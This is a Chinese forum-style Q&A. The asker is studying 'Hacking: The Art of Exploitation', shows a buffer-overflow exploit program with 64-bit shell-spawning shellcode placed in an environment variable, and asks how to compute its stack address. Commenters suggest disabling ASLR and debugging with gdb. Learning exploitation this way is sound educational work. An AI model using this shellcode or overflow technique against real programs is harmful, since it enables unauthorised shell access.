【发布时间】:2020-01-31 14:30:14
【问题描述】:
我正在阅读“黑客:利用的艺术”一书,我对exploit_notesearch_env.c 的代码有一些问题,它试图通过调用要利用execle() 函数的程序来进行缓冲区溢出利用.这样,被利用的程序的唯一环境变量就是 shellcode。
我的问题是我无法弄清楚 shellcode 环境变量的地址。书上说基地址是0xbffffffa,然后减去shellcode的大小和程序名的长度,得到shellcode地址。
这是调用notesearch程序的exploit_notesearch_env.c的代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"SHELLCODE=\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, (char *) 0};
uint64_t i, ret;
char *buffer = (char *) malloc(160);
ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
memset(buffer, '\x90', 120);
*((uint64_t *)(buffer+120)) = ret;
execle("./notesearch", "notesearch", buffer, (char *) 0, env);
free(buffer);
}
顺便说一句,本书使用的是 32 位 Linux 发行版,而我使用的是 Kali Linux 2019.4 64 位版本,这可能是问题的根源。
shellcode 已经调整为 64 位,程序正确溢出缓冲区,但地址错误。
有人知道书中地址0xbffffffa 的正确替代品吗?
【问题讨论】:
-
你可以打印一些堆栈变量的地址来获得一个想法(
printf("%p\n", &buffer);)。并且不要忘记在第一步中禁用 ASLR。生成 coredump 文件并使用 gdb 分析它们。 -
我已经禁用了aslr,但我只对SHELLCODE环境变量的地址感兴趣,为什么还要打印缓冲区的地址?